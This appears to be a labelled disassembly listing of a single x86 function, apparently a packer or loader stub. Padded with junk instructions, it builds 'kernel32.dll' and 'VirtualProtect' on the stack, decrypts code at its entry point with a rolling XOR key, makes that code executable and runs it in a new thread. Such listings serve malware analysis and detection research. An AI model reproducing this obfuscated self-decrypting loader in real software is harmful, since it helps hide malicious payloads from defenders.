Function at 0x1aa81cd
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
push edi
push ebx
pop ebx
pop edi
call fcn.01aa85d6
push ecx
pop ecx
lea eax, [ebp - 0xd8]
xchg ebx, ebx
mov ebx, 0x61
xchg esi, ebx
xchg ebx, esi
nop
add bx, 0xa
push esi
push edi
pop edi
pop esi
pushfd
push 0xa78f5d81
add esp, 4
popfd
mov word [eax], bx
pushfd
xor eax, 0x2a82c3ff
xor eax, 0x2a82c3ff
popfd
sub bx, 6
xchg ebx, ebx
pushfd
push ecx
add esp, 4
popfd
mov word [eax + 2], bx
xchg ecx, esi
xchg esi, ecx
add bx, 0xd
mov edi, edi
mov word [eax + 4], bx
pushfd
push ecx
add esp, 4
popfd
sub bx, 4
mov ebx, ebx
push esi
pop esi
mov word [eax + 6], bx
push eax
pop eax
sub bx, 9
push ebx
pop ebx
mov word [eax + 8], bx
xchg edx, edx
pushfd
xor ecx, 0x1cc3aacd
xor ecx, 0x1cc3aacd
popfd
add bx, 7
pushfd
push esi
add esp, 4
popfd
mov word [eax + 0xa], bx
xchg ecx, eax
xchg ecx, eax
sub bx, 0x39
push edi
push eax
pop eax
pop edi
pushfd
push 0xfe534f6b
add esp, 4
popfd
mov word [eax + 0xc], bx
push eax
push esi
pop esi
pop eax
dec bx
xchg ecx, esi
xchg esi, ecx
mov word [eax + 0xe], bx
push ecx
pop ecx
sub bx, 4
mov edi, edi
pushfd
push ebx
add esp, 4
popfd
mov word [eax + 0x10], bx
push eax
pop eax
add bx, 0x36
mov edx, edx
mov word [eax + 0x12], bx
pushfd
push ebx
add esp, 4
popfd
add bx, 8
pushfd
inc eax
dec eax
popfd
mov word [eax + 0x14], bx
push edx
pop edx
pushfd
xor edx, 0xef2f7ee8
xor edx, 0xef2f7ee8
popfd
mov word [eax + 0x16], bx
mov ebx, ebx
xchg edi, eax
xchg edi, eax
mov word [eax + 0x18], 0
pushfd
push edi
add esp, 4
popfd
push eax
pop eax
push eax
call dword [sym.imp.kernel32.dll_GetModuleHandleW]
pushfd
xor edx, 0xe8facba2
xor edx, 0xe8facba2
popfd
mov dword [ebp - 0x10], eax
push edi
push eax
pop eax
pop edi
lea eax, [ebp - 0xd8]
xchg edx, edx
mov ebx, 0x61
pushfd
xor ebx, 0xa12a4092
xor ebx, 0xa12a4092
popfd
sub bl, 0xb
pushfd
xor ebx, 0x4ec99c07
xor ebx, 0x4ec99c07
popfd
mov byte [eax], bl
push edi
pop edi
add bl, 0x13
push ebx
pop ebx
mov byte [eax + 1], bl
pushfd
push edx
add esp, 4
popfd
add bl, 9
pushfd
push edx
add esp, 4
popfd
pushfd
xor esi, 0x61e6d3c2
xor esi, 0x61e6d3c2
popfd
mov byte [eax + 2], bl
pushfd
push esi
add esp, 4
popfd
push esi
push edi
pop edi
pop esi
add bl, 2
mov ecx, ecx
mov byte [eax + 3], bl
pushfd
inc esi
dec esi
popfd
pushfd
push 0x4cb1cb15
add esp, 4
popfd
inc bl
push esi
push ebx
pop ebx
pop esi
mov byte [eax + 4], bl
pushfd
push 0x32f4ecce
add esp, 4
popfd
xchg ecx, edx
xchg edx, ecx
sub bl, 0x14
pushfd
inc ecx
dec ecx
popfd
pushfd
push 0xe7dad6c0
add esp, 4
popfd
mov byte [eax + 5], bl
xchg esi, esi
add bl, 0xb
pushfd
xor edx, 0x44f6fbde
xor edx, 0x44f6fbde
popfd
pushfd
inc edi
dec edi
popfd
mov byte [eax + 6], bl
pushfd
xor ecx, 0xd6fbd060
xor ecx, 0xd6fbd060
popfd
pushfd
push ebx
add esp, 4
popfd
sub bl, 0x1c
pushfd
xor ebx, 0x3d428195
xor ebx, 0x3d428195
popfd
mov byte [eax + 7], bl
push ebx
pop ebx
xchg edx, edi
xchg edi, edx
add bl, 0x22
pushfd
push edx
add esp, 4
popfd
mov byte [eax + 8], bl
push ecx
push eax
pop eax
pop ecx
pushfd
xor ecx, 0xdcfc4491
xor ecx, 0xdcfc4491
popfd
sub bl, 3
mov esi, esi
mov byte [eax + 9], bl
pushfd
push 0x45a0ce21
add esp, 4
popfd
pushfd
inc ebx
dec ebx
popfd
add bl, 5
pushfd
push 0x6d0f00a3
add esp, 4
popfd
pushfd
xor edi, 0xbf2aab7c
xor edi, 0xbf2aab7c
popfd
mov byte [eax + 0xa], bl
mov esi, esi
push ebx
push eax
pop eax
pop ebx
sub bl, 0xf
xchg esi, esi
pushfd
inc esi
dec esi
popfd
mov byte [eax + 0xb], bl
pushfd
inc eax
dec eax
popfd
sub bl, 2
pushfd
push 0xa7429721
add esp, 4
popfd
mov byte [eax + 0xc], bl
mov ebx, ebx
add bl, 0x11
push esi
push ebx
pop ebx
pop esi
pushfd
xor esi, 0xcd53acd0
xor esi, 0xcd53acd0
popfd
mov byte [eax + 0xd], bl
xchg ebx, eax
xchg ebx, eax
mov byte [eax + 0xe], 0
pushfd
inc eax
dec eax
popfd
push eax
push dword [ebp - 0x10]
call dword [sym.imp.kernel32.dll_GetProcAddress]
pushfd
xor ebx, 0x42ef5d47
xor ebx, 0x42ef5d47
popfd
mov dword [ebp - 0xc], eax
push edi
pop edi
lea eax, [ebp - 8]
pushfd
inc esi
dec esi
popfd
push eax
push 4
push 0xf1a12a
push entry0
call dword [ebp - 0xc]
push ecx
pop ecx
mov edi, entry0
pushfd
push ebx
add esp, 4
popfd
mov edx, edx
mov esi, 0x40100e
push esi
pop esi
mov ecx, 0xf1a12a
pushfd
push ebx
add esp, 4
popfd
xchg edi, edi
mov edx, 0x9c6702fb
pushfd
xor ecx, 0xd29c57d3
xor ecx, 0xd29c57d3
popfd
pushfd
xor eax, 0xa3da7ec6
xor eax, 0xa3da7ec6
popfd
mov ebx, 0x3f48cb85
pushfd
push eax
add esp, 4
popfd
pushfd
push 0x5b6e34f9
add esp, 4
popfd
cld
xchg ecx, ecx
lodsb al, byte [esi]
mov ebx, ebx
xor al, dl
xchg edi, edi
stosb byte es:[edi], al
nop
ror edx, 5
xchg ecx, ecx
imul edx, edx, 7
xchg ebx, ebx
test ebx, 1
xchg ecx, ecx
je 0x1aa853f
mov ecx, ecx
add esi, 1
mov edi, edi
ror ebx, 1
nop
dec ecx
xchg ebx, ebx
test ecx, ecx
xchg edx, edx
jne 0x1aa8519
push edi
pop edi
pushfd
inc ecx
dec ecx
popfd
lea eax, [ebp - 8]
pushfd
push eax
add esp, 4
popfd
push eax
push 0x20
push 0xf1a12a
push entry0
call dword [ebp - 0xc]
pushfd
xor eax, 0x1fd48889
xor eax, 0x1fd48889
popfd
lea eax, [ebp - 4]
xchg ecx, ecx
push 0
push 0
push eax
push entry0
push 0
push 0
call dword [sym.imp.kernel32.dll_CreateThread]
pushfd
push 0xb0b570bd
add esp, 4
popfd
pushfd
push ebx
add esp, 4
popfd
pushfd
push 0x821aed89
add esp, 4
popfd
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
xchg ecx, edi
xchg edi, ecx
jmp 0x1aa859f